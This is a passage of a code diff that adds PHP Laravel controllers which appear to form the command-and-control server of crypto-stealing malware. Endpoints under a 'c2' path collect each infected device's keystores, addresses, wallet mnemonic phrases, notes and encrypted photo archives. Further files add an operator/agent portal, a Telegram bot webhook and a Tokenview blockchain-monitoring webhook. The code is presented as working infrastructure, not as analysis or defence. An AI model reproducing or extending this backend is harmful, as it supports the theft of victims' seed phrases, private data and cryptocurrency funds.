return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarStatus(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestKeystore($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function status(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestAddresses($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function set(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function check(Request $request): Response
|
||||
{
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
// Archive password = session_key || batchBaseTimestampString.
|
||||
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
||||
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function avatarPic(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device) {
|
||||
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
||||
}
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function profileNop(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
}
|
||||
|
||||
public function linkConfigIcon(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function encryptedAck($data = null): Response
|
||||
{
|
||||
if ($data === null) {
|
||||
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
||||
}
|
||||
$enc = $this->crypto->encryptJson($data);
|
||||
|
||||
return response($enc['body'], 200)
|
||||
->header('Content-Type', 'text/plain')
|
||||
->header('timestamp', $enc['timestamp']);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Concerns;
|
||||
|
||||
use App\Models\User;
|
||||
|
||||
trait PortalAware
|
||||
{
|
||||
protected function portal(): string
|
||||
{
|
||||
$name = request()->route()?->getName() ?? '';
|
||||
|
||||
return str_starts_with($name, 'user.') ? 'user' : 'admin';
|
||||
}
|
||||
|
||||
protected function isAgentPortal(): bool
|
||||
{
|
||||
return $this->portal() === 'user';
|
||||
}
|
||||
|
||||
protected function agent(): ?User
|
||||
{
|
||||
if (! $this->isAgentPortal()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
protected function routeName(string $suffix): string
|
||||
{
|
||||
return $this->portal().'.'.$suffix;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
abstract class Controller
|
||||
{
|
||||
//
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, Nutgram $bot): Response
|
||||
{
|
||||
$update = $request->all();
|
||||
$message = is_array($update['message'] ?? null) ? $update['message'] : [];
|
||||
$chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null);
|
||||
$text = is_string($message['text'] ?? null) ? $message['text'] : null;
|
||||
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
$header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', '');
|
||||
|
||||
Log::info('telegram webhook hit', [
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
'text' => $text,
|
||||
'has_secret_header' => $header !== '',
|
||||
'secret_configured' => $secret !== '',
|
||||
]);
|
||||
|
||||
if ($secret !== '') {
|
||||
if ($header === '' || ! hash_equals($secret, $header)) {
|
||||
Log::warning('telegram webhook rejected: bad secret', [
|
||||
'ip' => $request->ip(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
]);
|
||||
abort(403, 'Invalid webhook secret');
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
$bot->run();
|
||||
Log::info('telegram webhook handled', [
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
'handler' => $bot->currentHandler()?->getPattern(),
|
||||
]);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
// FakeNutgram with no update (unit tests) — still ACK the webhook probe.
|
||||
if (! app()->runningUnitTests()) {
|
||||
Log::error('telegram webhook InvalidArgumentException', [
|
||||
'message' => $e->getMessage(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
]);
|
||||
throw $e;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('telegram webhook failed', [
|
||||
'message' => $e->getMessage(),
|
||||
'update_id' => $update['update_id'] ?? null,
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return response()->noContent();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Hooks;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewWebhookController extends Controller
|
||||
{
|
||||
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
||||
{
|
||||
$raw = $request->getContent();
|
||||
$signature = $request->header('X-Tokenview-Signature');
|
||||
|
||||
if (! $monitor->verifySignature($raw, $signature)) {
|
||||
Log::warning('tokenview webhook bad signature');
|
||||
|
||||
return response('invalid signature', 401);
|
||||
}
|
||||
|
||||
$payload = $request->json()->all();
|
||||
if (! is_array($payload) || $payload === []) {
|
||||
$decoded = json_decode($raw, true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
try {
|
||||
$monitor->handleWebhook($payload);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
|
||||
}
|
||||
|
||||
// Tokenview requires HTTP 200 + non-empty body.
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user